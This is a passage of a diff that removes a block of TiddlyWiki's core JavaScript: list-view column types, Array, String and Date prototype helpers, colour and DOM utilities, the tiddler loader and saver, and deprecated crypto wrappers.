- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- if(listObject[field] == true)
- createTiddlyText(place,columnTemplate.trueText);
- if(listObject[field] == false)
- createTiddlyText(place,columnTemplate.falseText);
- }
-};
-
-ListView.columnTypes.TagCheckbox = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var e = createTiddlyCheckbox(place,null,listObject[field],this.onChange);
- e.setAttribute("tiddler",listObject.title);
- e.setAttribute("tag",columnTemplate.tag);
- },
- onChange : function(e)
- {
- var tag = this.getAttribute("tag");
- var tiddler = this.getAttribute("tiddler");
- store.setTiddlerTag(tiddler,this.checked,tag);
- }
-};
-
-ListView.columnTypes.TiddlerLink = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- if(v != undefined) {
- var link = createTiddlyLink(place,listObject[columnTemplate.tiddlerLink],false,null);
- createTiddlyText(link,listObject[field]);
- }
- }
-};
-
-//--
-//-- Augmented methods for the JavaScript Array() object
-//--
-
-// Add indexOf function if browser does not support it
-if(!Array.indexOf) {
-Array.prototype.indexOf = function(item,from)
-{
- if(!from)
- from = 0;
- var i;
- for(i=from; i<this.length; i++) {
- if(this[i] === item)
- return i;
- }
- return -1;
-};}
-
-// Find an entry in a given field of the members of an array
-Array.prototype.findByField = function(field,value)
-{
- var t;
- for(t=0; t<this.length; t++) {
- if(this[t][field] === value)
- return t;
- }
- return null;
-};
-
-// Return whether an entry exists in an array
-Array.prototype.contains = function(item)
-{
- return this.indexOf(item) != -1;
-};
-
-// Adds, removes or toggles a particular value within an array
-// value - value to add
-// mode - +1 to add value, -1 to remove value, 0 to toggle it
-Array.prototype.setItem = function(value,mode)
-{
- var p = this.indexOf(value);
- if(mode == 0)
- mode = (p == -1) ? +1 : -1;
- if(mode == +1) {
- if(p == -1)
- this.push(value);
- } else if(mode == -1) {
- if(p != -1)
- this.splice(p,1);
- }
-};
-
-// Return whether one of a list of values exists in an array
-Array.prototype.containsAny = function(items)
-{
- var i;
- for(i=0; i<items.length; i++) {
- if(this.indexOf(items[i]) != -1)
- return true;
- }
- return false;
-};
-
-// Return whether all of a list of values exists in an array
-Array.prototype.containsAll = function(items)
-{
- var i;
- for(i = 0; i<items.length; i++) {
- if(this.indexOf(items[i]) == -1)
- return false;
- }
- return true;
-};
-
-// Push a new value into an array only if it is not already present in the array. If the optional unique parameter is false, it reverts to a normal push
-Array.prototype.pushUnique = function(item,unique)
-{
- if(unique === false) {
- this.push(item);
- } else {
- if(this.indexOf(item) == -1)
- this.push(item);
- }
-};
-
-Array.prototype.remove = function(item)
-{
- var p = this.indexOf(item);
- if(p != -1)
- this.splice(p,1);
-};
-
-if(!Array.prototype.map) {
-Array.prototype.map = function(fn,thisObj)
-{
- var scope = thisObj || window;
- var i,j,a = [];
- for(i=0, j=this.length; i < j; ++i) {
- a.push(fn.call(scope,this[i],i,this));
- }
- return a;
-};}
-
-//--
-//-- Augmented methods for the JavaScript String() object
-//--
-
-// Get characters from the right end of a string
-String.prototype.right = function(n)
-{
- return n < this.length ? this.slice(this.length-n) : this;
-};
-
-// Trim whitespace from both ends of a string
-String.prototype.trim = function()
-{
- return this.replace(/^\s*|\s*$/g,"");
-};
-
-// Convert a string from a CSS style property name to a JavaScript style name ("background-color" -> "backgroundColor")
-String.prototype.unDash = function()
-{
- var t,s = this.split("-");
- if(s.length > 1) {
- for(t=1; t<s.length; t++)
- s[t] = s[t].substr(0,1).toUpperCase() + s[t].substr(1);
- }
- return s.join("");
-};
-
-// Substitute substrings from an array into a format string that includes '%1'-type specifiers
-String.prototype.format = function(s)
-{
- var substrings = s && s.constructor == Array ? s : arguments;
- var subRegExp = /(?:%(\d+))/mg;
- var currPos = 0;
- var match,r = [];
- do {
- match = subRegExp.exec(this);
- if(match && match[1]) {
- if(match.index > currPos)
- r.push(this.substring(currPos,match.index));
- r.push(substrings[parseInt(match[1],10)]);
- currPos = subRegExp.lastIndex;
- }
- } while(match);
- if(currPos < this.length)
- r.push(this.substring(currPos,this.length));
- return r.join("");
-};
-
-// Escape any special RegExp characters with that character preceded by a backslash
-String.prototype.escapeRegExp = function()
-{
- var s = "\\^$*+?()=!|,{}[].";
- var t,c = this;
- for(t=0; t<s.length; t++)
- c = c.replace(new RegExp("\\" + s.substr(t,1),"g"),"\\" + s.substr(t,1));
- return c;
-};
-
-// Convert "\" to "\s", newlines to "\n" (and remove carriage returns)
-String.prototype.escapeLineBreaks = function()
-{
- return this.replace(/\\/mg,"\\s").replace(/\n/mg,"\\n").replace(/\r/mg,"");
-};
-
-// Convert "\n" to newlines, "\b" to " ", "\s" to "\" (and remove carriage returns)
-String.prototype.unescapeLineBreaks = function()
-{
- return this.replace(/\\n/mg,"\n").replace(/\\b/mg," ").replace(/\\s/mg,"\\").replace(/\r/mg,"");
-};
-
-// Convert & to "&amp;", < to "&lt;", > to "&gt;" and " to "&quot;"
-String.prototype.htmlEncode = function()
-{
- return this.replace(/&/mg,"&amp;").replace(/</mg,"&lt;").replace(/>/mg,"&gt;").replace(/\"/mg,"&quot;");
-};
-
-// Convert "&amp;" to &, "&lt;" to <, "&gt;" to > and "&quot;" to "
-String.prototype.htmlDecode = function()
-{
- return this.replace(/&lt;/mg,"<").replace(/&gt;/mg,">").replace(/&quot;/mg,"\"").replace(/&amp;/mg,"&");
-};
-
-// Parse a space-separated string of name:value parameters
-// The result is an array of objects:
-// result[0] = object with a member for each parameter name, value of that member being an array of values
-// result[1..n] = one object for each parameter, with 'name' and 'value' members
-String.prototype.parseParams = function(defaultName,defaultValue,allowEval,noNames,cascadeDefaults)
-{
- var parseToken = function(match,p) {
- var n;
- if(match[p]) // Double quoted
- n = match[p];
- else if(match[p+1]) // Single quoted
- n = match[p+1];
- else if(match[p+2]) // Double-square-bracket quoted
- n = match[p+2];
- else if(match[p+3]) // Double-brace quoted
- try {
- n = match[p+3];
- if(allowEval && config.evaluateMacroParameters != "none") {
- if(config.evaluateMacroParameters == "restricted") {
- if(window.restrictedEval) {
- n = window.restrictedEval(n);
- }
- } else {
- n = window.eval(n);
- }
- }
- } catch(ex) {
- throw "Unable to evaluate {{" + match[p+3] + "}}: " + exceptionText(ex);
- }
- else if(match[p+4]) // Unquoted
- n = match[p+4];
- else if(match[p+5]) // empty quote
- n = "";
- return n;
- };
- var r = [{}];
- var dblQuote = "(?:\"((?:(?:\\\\\")|[^\"])+)\")";
- var sngQuote = "(?:'((?:(?:\\\\\')|[^'])+)')";
- var dblSquare = "(?:\\[\\[((?:\\s|\\S)*?)\\]\\])";
- var dblBrace = "(?:\\{\\{((?:\\s|\\S)*?)\\}\\})";
- var unQuoted = noNames ? "([^\"'\\s]\\S*)" : "([^\"':\\s][^\\s:]*)";
- var emptyQuote = "((?:\"\")|(?:''))";
- var skipSpace = "(?:\\s*)";
- var token = "(?:" + dblQuote + "|" + sngQuote + "|" + dblSquare + "|" + dblBrace + "|" + unQuoted + "|" + emptyQuote + ")";
- var re = noNames ? new RegExp(token,"mg") : new RegExp(skipSpace + token + skipSpace + "(?:(\\:)" + skipSpace + token + ")?","mg");
- var match;
- do {
- match = re.exec(this);
- if(match) {
- var n = parseToken(match,1);
- if(noNames) {
- r.push({name:"",value:n});
- } else {
- var v = parseToken(match,8);
- if(v == null && defaultName) {
- v = n;
- n = defaultName;
- } else if(v == null && defaultValue) {
- v = defaultValue;
- }
- r.push({name:n,value:v});
- if(cascadeDefaults) {
- defaultName = n;
- defaultValue = v;
- }
- }
- }
- } while(match);
- // Summarise parameters into first element
- var t;
- for(t=1; t<r.length; t++) {
- if(r[0][r[t].name])
- r[0][r[t].name].push(r[t].value);
- else
- r[0][r[t].name] = [r[t].value];
- }
- return r;
-};
-
-// Process a string list of macro parameters into an array. Parameters can be quoted with "", '',
-// [[]], {{ }} or left unquoted (and therefore space-separated). Double-braces {{}} results in
-// an *evaluated* parameter: e.g. {{config.options.txtUserName}} results in the current user's name.
-String.prototype.readMacroParams = function(notAllowEval)
-{
- var p = this.parseParams("list",null,!notAllowEval,true);
- var t,n = [];
- for(t=1; t<p.length; t++)
- n.push(p[t].value);
- return n;
-};
-
-// Process a string list of unique tiddler names into an array. Tiddler names that have spaces in them must be [[bracketed]]
-String.prototype.readBracketedList = function(unique)
-{
- var p = this.parseParams("list",null,false,true);
- var t,n = [];
- for(t=1; t<p.length; t++) {
- if(p[t].value)
- n.pushUnique(p[t].value,unique);
- }
- return n;
-};
-
-// Returns array with start and end index of chunk between given start and end marker, or undefined.
-String.prototype.getChunkRange = function(start,end)
-{
- var s = this.indexOf(start);
- if(s != -1) {
- s += start.length;
- var e = this.indexOf(end,s);
- if(e != -1)
- return [s,e];
- }
-};
-
-// Replace a chunk of a string given start and end markers
-String.prototype.replaceChunk = function(start,end,sub)
-{
- var r = this.getChunkRange(start,end);
- return r ? this.substring(0,r[0]) + sub + this.substring(r[1]) : this;
-};
-
-// Returns a chunk of a string between start and end markers, or undefined
-String.prototype.getChunk = function(start,end)
-{
- var r = this.getChunkRange(start,end);
- if(r)
- return this.substring(r[0],r[1]);
-};
-
-
-// Static method to bracket a string with double square brackets if it contains a space
-String.encodeTiddlyLink = function(title)
-{
- return title.indexOf(" ") == -1 ? title : "[[" + title + "]]";
-};
-
-// Static method to encodeTiddlyLink for every item in an array and join them with spaces
-String.encodeTiddlyLinkList = function(list)
-{
- if(list) {
- var t,results = [];
- for(t=0; t<list.length; t++)
- results.push(String.encodeTiddlyLink(list[t]));
- return results.join(" ");
- } else {
- return "";
- }
-};
-
-// Convert a string as a sequence of name:"value" pairs into a hashmap
-String.prototype.decodeHashMap = function()
-{
- var fields = this.parseParams("anon","",false);
- var t,r = {};
- for(t=1; t<fields.length; t++)
- r[fields[t].name] = fields[t].value;
- return r;
-};
-
-// Static method to encode a hashmap into a name:"value"... string
-String.encodeHashMap = function(hashmap)
-{
- var t,r = [];
- for(t in hashmap)
- r.push(t + ':"' + hashmap[t] + '"');
- return r.join(" ");
-};
-
-// Static method to left-pad a string with 0s to a certain width
-String.zeroPad = function(n,d)
-{
- var s = n.toString();
- if(s.length < d)
- s = "000000000000000000000000000".substr(0,d-s.length) + s;
- return s;
-};
-
-String.prototype.startsWith = function(prefix)
-{
- return !prefix || this.substring(0,prefix.length) == prefix;
-};
-
-// Returns the first value of the given named parameter.
-function getParam(params,name,defaultValue)
-{
- if(!params)
- return defaultValue;
- var p = params[0][name];
- return p ? p[0] : defaultValue;
-}
-
-// Returns the first value of the given boolean named parameter.
-function getFlag(params,name,defaultValue)
-{
- return !!getParam(params,name,defaultValue);
-}
-
-//--
-//-- Augmented methods for the JavaScript Date() object
-//--
-
-// Substitute date components into a string
-Date.prototype.formatString = function(template)
-{
- var t = template.replace(/0hh12/g,String.zeroPad(this.getHours12(),2));
- t = t.replace(/hh12/g,this.getHours12());
- t = t.replace(/0hh/g,String.zeroPad(this.getHours(),2));
- t = t.replace(/hh/g,this.getHours());
- t = t.replace(/mmm/g,config.messages.dates.shortMonths[this.getMonth()]);
- t = t.replace(/0mm/g,String.zeroPad(this.getMinutes(),2));
- t = t.replace(/mm/g,this.getMinutes());
- t = t.replace(/0ss/g,String.zeroPad(this.getSeconds(),2));
- t = t.replace(/ss/g,this.getSeconds());
- t = t.replace(/[ap]m/g,this.getAmPm().toLowerCase());
- t = t.replace(/[AP]M/g,this.getAmPm().toUpperCase());
- t = t.replace(/wYYYY/g,this.getYearForWeekNo());
- t = t.replace(/wYY/g,String.zeroPad(this.getYearForWeekNo()-2000,2));
- t = t.replace(/YYYY/g,this.getFullYear());
- t = t.replace(/YY/g,String.zeroPad(this.getFullYear()-2000,2));
- t = t.replace(/MMM/g,config.messages.dates.months[this.getMonth()]);
- t = t.replace(/0MM/g,String.zeroPad(this.getMonth()+1,2));
- t = t.replace(/MM/g,this.getMonth()+1);
- t = t.replace(/0WW/g,String.zeroPad(this.getWeek(),2));
- t = t.replace(/WW/g,this.getWeek());
- t = t.replace(/DDD/g,config.messages.dates.days[this.getDay()]);
- t = t.replace(/ddd/g,config.messages.dates.shortDays[this.getDay()]);
- t = t.replace(/0DD/g,String.zeroPad(this.getDate(),2));
- t = t.replace(/DDth/g,this.getDate()+this.daySuffix());
- t = t.replace(/DD/g,this.getDate());
- var tz = this.getTimezoneOffset();
- var atz = Math.abs(tz);
- t = t.replace(/TZD/g,(tz < 0 ? '+' : '-') + String.zeroPad(Math.floor(atz / 60),2) + ':' + String.zeroPad(atz % 60,2));
- t = t.replace(/\\/g,"");
- return t;
-};
-
-Date.prototype.getWeek = function()
-{
- var dt = new Date(this.getTime());
- var d = dt.getDay();
- if(d==0) d=7;// JavaScript Sun=0, ISO Sun=7
- dt.setTime(dt.getTime()+(4-d)*86400000);// shift day to Thurs of same week to calculate weekNo
- var n = Math.floor((dt.getTime()-new Date(dt.getFullYear(),0,1)+3600000)/86400000);
- return Math.floor(n/7)+1;
-};
-
-Date.prototype.getYearForWeekNo = function()
-{
- var dt = new Date(this.getTime());
- var d = dt.getDay();
- if(d==0) d=7;// JavaScript Sun=0, ISO Sun=7
- dt.setTime(dt.getTime()+(4-d)*86400000);// shift day to Thurs of same week
- return dt.getFullYear();
-};
-
-Date.prototype.getHours12 = function()
-{
- var h = this.getHours();
- return h > 12 ? h-12 : ( h > 0 ? h : 12 );
-};
-
-Date.prototype.getAmPm = function()
-{
- return this.getHours() >= 12 ? config.messages.dates.pm : config.messages.dates.am;
-};
-
-Date.prototype.daySuffix = function()
-{
- return config.messages.dates.daySuffixes[this.getDate()-1];
-};
-
-// Convert a date to local YYYYMMDDHHMM string format
-Date.prototype.convertToLocalYYYYMMDDHHMM = function()
-{
- return this.getFullYear() + String.zeroPad(this.getMonth()+1,2) + String.zeroPad(this.getDate(),2) + String.zeroPad(this.getHours(),2) + String.zeroPad(this.getMinutes(),2);
-};
-
-// Convert a date to UTC YYYYMMDDHHMM string format
-Date.prototype.convertToYYYYMMDDHHMM = function()
-{
- return this.getUTCFullYear() + String.zeroPad(this.getUTCMonth()+1,2) + String.zeroPad(this.getUTCDate(),2) + String.zeroPad(this.getUTCHours(),2) + String.zeroPad(this.getUTCMinutes(),2);
-};
-
-// Convert a date to UTC YYYYMMDD.HHMMSSMMM string format
-Date.prototype.convertToYYYYMMDDHHMMSSMMM = function()
-{
- return this.getUTCFullYear() + String.zeroPad(this.getUTCMonth()+1,2) + String.zeroPad(this.getUTCDate(),2) + "." + String.zeroPad(this.getUTCHours(),2) + String.zeroPad(this.getUTCMinutes(),2) + String.zeroPad(this.getUTCSeconds(),2) + String.zeroPad(this.getUTCMilliseconds(),3) +"0";
-};
-
-// Static method to create a date from a UTC YYYYMMDDHHMM format string
-Date.convertFromYYYYMMDDHHMM = function(d)
-{
- d = d?d.replace(/[^0-9]/g, ""):"";
- return Date.convertFromYYYYMMDDHHMMSSMMM(d.substr(0,12));
-};
-
-// Static method to create a date from a UTC YYYYMMDDHHMMSS format string
-Date.convertFromYYYYMMDDHHMMSS = function(d)
-{
- d = d?d.replace(/[^0-9]/g, ""):"";
- return Date.convertFromYYYYMMDDHHMMSSMMM(d.substr(0,14));
-};
-
-// Static method to create a date from a UTC YYYYMMDDHHMMSSMMM format string
-Date.convertFromYYYYMMDDHHMMSSMMM = function(d)
-{
- d = d ? d.replace(/[^0-9]/g, "") : "";
- return new Date(Date.UTC(parseInt(d.substr(0,4),10),
- parseInt(d.substr(4,2),10)-1,
- parseInt(d.substr(6,2),10),
- parseInt(d.substr(8,2)||"00",10),
- parseInt(d.substr(10,2)||"00",10),
- parseInt(d.substr(12,2)||"00",10),
- parseInt(d.substr(14,3)||"000",10)));
-};
-
-//--
-//-- RGB colour object
-//--
-
-// Construct an RGB colour object from a '#rrggbb', '#rgb' or 'rgb(n,n,n)' string or from separate r,g,b values
-function RGB(r,g,b)
-{
- this.r = 0;
- this.g = 0;
- this.b = 0;
- if(typeof r == "string") {
- if(r.substr(0,1) == "#") {
- if(r.length == 7) {
- this.r = parseInt(r.substr(1,2),16)/255;
- this.g = parseInt(r.substr(3,2),16)/255;
- this.b = parseInt(r.substr(5,2),16)/255;
- } else {
- this.r = parseInt(r.substr(1,1),16)/15;
- this.g = parseInt(r.substr(2,1),16)/15;
- this.b = parseInt(r.substr(3,1),16)/15;
- }
- } else {
- var rgbPattern = /rgb\s*\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*\)/;
- var c = r.match(rgbPattern);
- if(c) {
- this.r = parseInt(c[1],10)/255;
- this.g = parseInt(c[2],10)/255;
- this.b = parseInt(c[3],10)/255;
- }
- }
- } else {
- this.r = r;
- this.g = g;
- this.b = b;
- }
- return this;
-}
-
-// Mixes this colour with another in a specified proportion
-// c = other colour to mix
-// f = 0..1 where 0 is this colour and 1 is the new colour
-// Returns an RGB object
-RGB.prototype.mix = function(c,f)
-{
- return new RGB(this.r + (c.r-this.r) * f,this.g + (c.g-this.g) * f,this.b + (c.b-this.b) * f);
-};
-
-// Return an rgb colour as a #rrggbb format hex string
-RGB.prototype.toString = function()
-{
- var clamp = function(x,min,max) {
- return x < min ? min : (x > max ? max : x);
- };
- return "#" +
- ("0" + Math.floor(clamp(this.r,0,1) * 255).toString(16)).right(2) +
- ("0" + Math.floor(clamp(this.g,0,1) * 255).toString(16)).right(2) +
- ("0" + Math.floor(clamp(this.b,0,1) * 255).toString(16)).right(2);
-};
-
-//--
-//-- DOM utilities - many derived from www.quirksmode.org
-//--
-
-function drawGradient(place,horiz,locolors,hicolors)
-{
- if(!hicolors)
- hicolors = locolors;
- var t;
- for(t=0; t<= 100; t+=2) {
- var bar = document.createElement("div");
- place.appendChild(bar);
- bar.style.position = "absolute";
- bar.style.left = horiz ? t + "%" : 0;
- bar.style.top = horiz ? 0 : t + "%";
- bar.style.width = horiz ? (101-t) + "%" : "100%";
- bar.style.height = horiz ? "100%" : (101-t) + "%";
- bar.style.zIndex = -1;
- var p = t/100*(locolors.length-1);
- var hc = hicolors[Math.floor(p)];
- if(typeof hc == "string")
- hc = new RGB(hc);
- var lc = locolors[Math.ceil(p)];
- if(typeof lc == "string")
- lc = new RGB(lc);
- bar.style.backgroundColor = hc.mix(lc,p-Math.floor(p)).toString();
- }
-}
-
-function addEvent(obj,type,fn)
-{
- if(obj.attachEvent) {
- obj["e"+type+fn] = fn;
- obj[type+fn] = function(){obj["e"+type+fn](window.event);};
- obj.attachEvent("on"+type,obj[type+fn]);
- } else {
- obj.addEventListener(type,fn,false);
- }
-}
-
-function removeEvent(obj,type,fn)
-{
- if(obj.detachEvent) {
- obj.detachEvent("on"+type,obj[type+fn]);
- obj[type+fn] = null;
- } else {
- obj.removeEventListener(type,fn,false);
- }
-}
-
-// Find the closest relative with a given property value (property defaults to tagName, relative defaults to parentNode)
-function findRelated(e,value,name,relative)
-{
- name = name || "tagName";
- relative = relative || "parentNode";
- if(name == "className") {
- while(e && !jQuery(e).hasClass(value)) {
- e = e[relative];
- }
- } else {
- while(e && e[name] != value) {
- e = e[relative];
- }
- }
- return e;
-}
-
-// Get the scroll position for window.scrollTo necessary to scroll a given element into view
-function ensureVisible(e)
-{
- var posTop = findPosY(e);
- var posBot = posTop + e.offsetHeight;
- var winTop = findScrollY();
- var winHeight = findWindowHeight();
- var winBot = winTop + winHeight;
- if(posTop < winTop) {
- return posTop;
- } else if(posBot > winBot) {
- if(e.offsetHeight < winHeight)
- return posTop - (winHeight - e.offsetHeight);
- else
- return posTop;
- } else {
- return winTop;
- }
-}
-
-// Get the current width of the display window
-function findWindowWidth()
-{
- return window.innerWidth || document.documentElement.clientWidth;
-}
-
-// Get the current height of the display window
-function findWindowHeight()
-{
- return window.innerHeight || document.documentElement.clientHeight;
-}
-
-// Get the current height of the document
-function findDocHeight() {
- var D = document;
- return Math.max(
- Math.max(D.body.scrollHeight, D.documentElement.scrollHeight),
- Math.max(D.body.offsetHeight, D.documentElement.offsetHeight),
- Math.max(D.body.clientHeight, D.documentElement.clientHeight)
- );
-}
-
-// Get the current horizontal page scroll position
-function findScrollX()
-{
- return window.scrollX || document.documentElement.scrollLeft;
-}
-
-// Get the current vertical page scroll position
-function findScrollY()
-{
- return window.scrollY || document.documentElement.scrollTop;
-}
-
-function findPosX(obj)
-{
- var curleft = 0;
- while(obj.offsetParent) {
- curleft += obj.offsetLeft;
- obj = obj.offsetParent;
- }
- return curleft;
-}
-
-function findPosY(obj)
-{
- var curtop = 0;
- while(obj.offsetParent) {
- curtop += obj.offsetTop;
- obj = obj.offsetParent;
- }
- return curtop;
-}
-
-// Blur a particular element
-function blurElement(e)
-{
- if(e && e.focus && e.blur) {
- e.focus();
- e.blur();
- }
-}
-
-// Create a non-breaking space
-function insertSpacer(place)
-{
- var e = document.createTextNode(String.fromCharCode(160));
- if(place)
- place.appendChild(e);
- return e;
-}
-
-// Replace the current selection of a textarea or text input and scroll it into view
-function replaceSelection(e,text)
-{
- if(e.setSelectionRange) {
- var oldpos = e.selectionStart;
- var isRange = e.selectionEnd > e.selectionStart;
- e.value = e.value.substr(0,e.selectionStart) + text + e.value.substr(e.selectionEnd);
- e.setSelectionRange(isRange ? oldpos : oldpos + text.length,oldpos + text.length);
- var linecount = e.value.split("\n").length;
- var thisline = e.value.substr(0,e.selectionStart).split("\n").length-1;
- e.scrollTop = Math.floor((thisline - e.rows / 2) * e.scrollHeight / linecount);
- } else if(document.selection) {
- var range = document.selection.createRange();
- if(range.parentElement() == e) {
- var isCollapsed = range.text == "";
- range.text = text;
- if(!isCollapsed) {
- range.moveStart("character", -text.length);
- range.select();
- }
- }
- }
-}
-
-// Set the caret position in a text area
-function setCaretPosition(e,pos)
-{
- if(e.selectionStart || e.selectionStart == '0') {
- e.selectionStart = pos;
- e.selectionEnd = pos;
- e.focus();
- } else if(document.selection) {
- // IE support
- e.focus ();
- var sel = document.selection.createRange();
- sel.moveStart('character', -e.value.length);
- sel.moveStart('character',pos);
- sel.moveEnd('character',0);
- sel.select();
- }
-}
-
-// Returns the text of the given (text) node, possibly merging subsequent text nodes
-function getNodeText(e)
-{
- var t = "";
- while(e && e.nodeName == "#text") {
- t += e.nodeValue;
- e = e.nextSibling;
- }
- return t;
-}
-
-// Returns true if the element e has a given ancestor element
-function isDescendant(e,ancestor)
-{
- while(e) {
- if(e === ancestor)
- return true;
- e = e.parentNode;
- }
- return false;
-}
-
-
-// deprecate the following...
-
-// Prevent an event from bubbling
-function stopEvent(e)
-{
- var ev = e || window.event;
- ev.cancelBubble = true;
- if(ev.stopPropagation) ev.stopPropagation();
- return false;
-}
-
-// Remove any event handlers or non-primitve custom attributes
-function scrubNode(e)
-{
- if(!config.browser.isIE)
- return;
- var att = e.attributes;
- if(att) {
- var t;
- for(t=0; t<att.length; t++) {
- var n = att[t].name;
- if(n !== "style" && (typeof e[n] === "function" || (typeof e[n] === "object" && e[n] != null))) {
- try {
- e[n] = null;
- } catch(ex) {
- }
- }
- }
- }
- var c = e.firstChild;
- while(c) {
- scrubNode(c);
- c = c.nextSibling;
- }
-}
-
-function setStylesheet(s,id,doc)
-{
- jQuery.twStylesheet(s,{id:id,doc:doc});
-}
-
-function removeStyleSheet(id)
-{
- jQuery.twStylesheet.remove({id:id});
-}
-
-//--
-//-- LoaderBase and SaverBase
-//--
-
-function LoaderBase() {}
-
-LoaderBase.prototype.loadTiddler = function(store,node,tiddlers)
-{
- var title = this.getTitle(store,node);
- if(safeMode && store.isShadowTiddler(title))
- return;
- if(title) {
- var tiddler = store.createTiddler(title);
- this.internalizeTiddler(store,tiddler,title,node);
- tiddlers.push(tiddler);
- }
-};
-
-LoaderBase.prototype.loadTiddlers = function(store,nodes)
-{
- var t,tiddlers = [];
- for(t = 0; t < nodes.length; t++) {
- try {
- this.loadTiddler(store,nodes[t],tiddlers);
- } catch(ex) {
- showException(ex,config.messages.tiddlerLoadError.format([this.getTitle(store,nodes[t])]));
- }
- }
- return tiddlers;
-};
-
-function SaverBase() {}
-
-SaverBase.prototype.externalize = function(store)
-{
- var results = [];
- var t,tiddlers = store.getTiddlers("title");
- for(t = 0; t < tiddlers.length; t++) {
- if(!tiddlers[t].doNotSave())
- results.push(this.externalizeTiddler(store, tiddlers[t]));
- }
- return results.join("\n");
-};
-
-//--
-//-- TW21Loader (inherits from LoaderBase)
-//--
-
-function TW21Loader() {}
-
-TW21Loader.prototype = new LoaderBase();
-
-TW21Loader.prototype.getTitle = function(store,node)
-{
- var title = null;
- if(node.getAttribute) {
- title = node.getAttribute("title");
- if(!title)
- title = node.getAttribute("tiddler");
- }
- if(!title && node.id) {
- var lenPrefix = store.idPrefix.length;
- if(node.id.substr(0,lenPrefix) == store.idPrefix)
- title = node.id.substr(lenPrefix);
- }
- return title;
-};
-
-TW21Loader.prototype.internalizeTiddler = function(store,tiddler,title,node)
-{
- var e = node.firstChild;
- var text = null;
- if(node.getAttribute("tiddler")) {
- text = getNodeText(e).unescapeLineBreaks();
- } else {
- while(e.nodeName!="PRE" && e.nodeName!="pre") {
- e = e.nextSibling;
- }
- text = e.innerHTML.replace(/\r/mg,"").htmlDecode();
- }
- var creator = node.getAttribute("creator");
- var modifier = node.getAttribute("modifier");
- var c = node.getAttribute("created");
- var m = node.getAttribute("modified");
- var created = c ? Date.convertFromYYYYMMDDHHMMSS(c) : version.date;
- var modified = m ? Date.convertFromYYYYMMDDHHMMSS(m) : created;
- var tags = node.getAttribute("tags");
- var fields = {};
- var i,attrs = node.attributes;
- for(i = attrs.length-1; i >= 0; i--) {
- var name = attrs[i].name;
- if(attrs[i].specified && !TiddlyWiki.isStandardField(name)) {
- fields[name] = attrs[i].value.unescapeLineBreaks();
- }
- }
- tiddler.assign(title,text,modifier,modified,tags,created,fields,creator);
- return tiddler;
-};
-
-//--
-//-- TW21Saver (inherits from SaverBase)
-//--
-
-function TW21Saver() {}
-
-TW21Saver.prototype = new SaverBase();
-
-TW21Saver.prototype.externalizeTiddler = function(store,tiddler)
-{
- try {
- var extendedAttributes = "";
- var usePre = config.options.chkUsePreForStorage;
- store.forEachField(tiddler,
- function(tiddler,fieldName,value) {
- // don't store stuff from the temp namespace
- if(typeof value != "string")
- value = "";
- if(!fieldName.match(/^temp\./))
- extendedAttributes += ' %0="%1"'.format([fieldName,value.escapeLineBreaks().htmlEncode()]);
- },true);
- var created = tiddler.created;
- var modified = tiddler.modified;
- var attributes = tiddler.creator ? ' creator="' + tiddler.creator.htmlEncode() + '"' : "";
- attributes += tiddler.modifier ? ' modifier="' + tiddler.modifier.htmlEncode() + '"' : "";
- attributes += (usePre && created == version.date) ? "" :' created="' + created.convertToYYYYMMDDHHMM() + '"';
- attributes += (usePre && modified == created) ? "" : ' modified="' + modified.convertToYYYYMMDDHHMM() +'"';
- var tags = tiddler.getTags();
- if(!usePre || tags)
- attributes += ' tags="' + tags.htmlEncode() + '"';
- return ('<div %0="%1"%2%3>%4</'+'div>').format([
- usePre ? "title" : "tiddler",
- tiddler.title.htmlEncode(),
- attributes,
- extendedAttributes,
- usePre ? "\n<pre>" + tiddler.text.htmlEncode() + "</pre>\n" : tiddler.text.escapeLineBreaks().htmlEncode()
- ]);
- } catch (ex) {
- throw exceptionText(ex,config.messages.tiddlerSaveError.format([tiddler.title]));
- }
-};
-
-
-
-//]]>
-</script>
-
-<script id="jsdeprecatedArea" type="text/javascript">
-//<![CDATA[
-//--
-//-- Deprecated Crypto functions and associated conversion routines.
-//-- Use the jQuery.encoding functions directly instead.
-//--
-
-// Crypto 'namespace'
-function Crypto() {}
-
-// Convert a string to an array of big-endian 32-bit words
-Crypto.strToBe32s = function(str)
-{
- return jQuery.encoding.strToBe32s(str);
-};
-
-// Convert an array of big-endian 32-bit words to a string
-Crypto.be32sToStr = function(be)
-{
- return jQuery.encoding.be32sToStr(be);
-};
-
-// Convert an array of big-endian 32-bit words to a hex string
-Crypto.be32sToHex = function(be)
-{
- return jQuery.encoding.be32sToHex(be);
-};
-
-// Return, in hex, the SHA-1 hash of a string
-Crypto.hexSha1Str = function(str)
-{
- return jQuery.encoding.digests.hexSha1Str(str);
-};
-
-// Return the SHA-1 hash of a string
-Crypto.sha1Str = function(str)
-{
- return jQuery.encoding.digests.sha1Str(str);
-};
-
-// Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
-Crypto.sha1 = function(x,blen)
-{
- return jQuery.encoding.digests.sha1(x,blen);
-};
-
-//--
-//-- Deprecated code
-//--
-
-// @Deprecated: Use createElementAndWikify and this.termRegExp instead
-config.formatterHelpers.charFormatHelper = function(w)
-{
- w.subWikify(createTiddlyElement(w.output,this.element),this.terminator);
-};
-
-// @Deprecated: Use enclosedTextHelper and this.lookaheadRegExp instead
-config.formatterHelpers.monospacedByLineHelper = function(w)
-{
- var lookaheadRegExp = new RegExp(this.lookahead,"mg");
- lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- var text = lookaheadMatch[1];
- if(config.browser.isIE)
- text = text.replace(/\n/g,"\r");
- createTiddlyElement(w.output,"pre",null,null,text);
- w.nextMatch = lookaheadRegExp.lastIndex;
- }
-};
-
-// @Deprecated: Use <br> or <br /> instead of <<br>>
-config.macros.br = {};
-config.macros.br.handler = function(place)
-{
- createTiddlyElement(place,"br");
-};
-
-// Find an entry in an array. Returns the array index or null
-// @Deprecated: Use indexOf instead
-Array.prototype.find = function(item)
-{
- var i = this.indexOf(item);
- return i == -1 ? null : i;
-};
-
-// Load a tiddler from an HTML DIV. The caller should make sure to later call Tiddler.changed()
-// @Deprecated: Use store.getLoader().internalizeTiddler instead
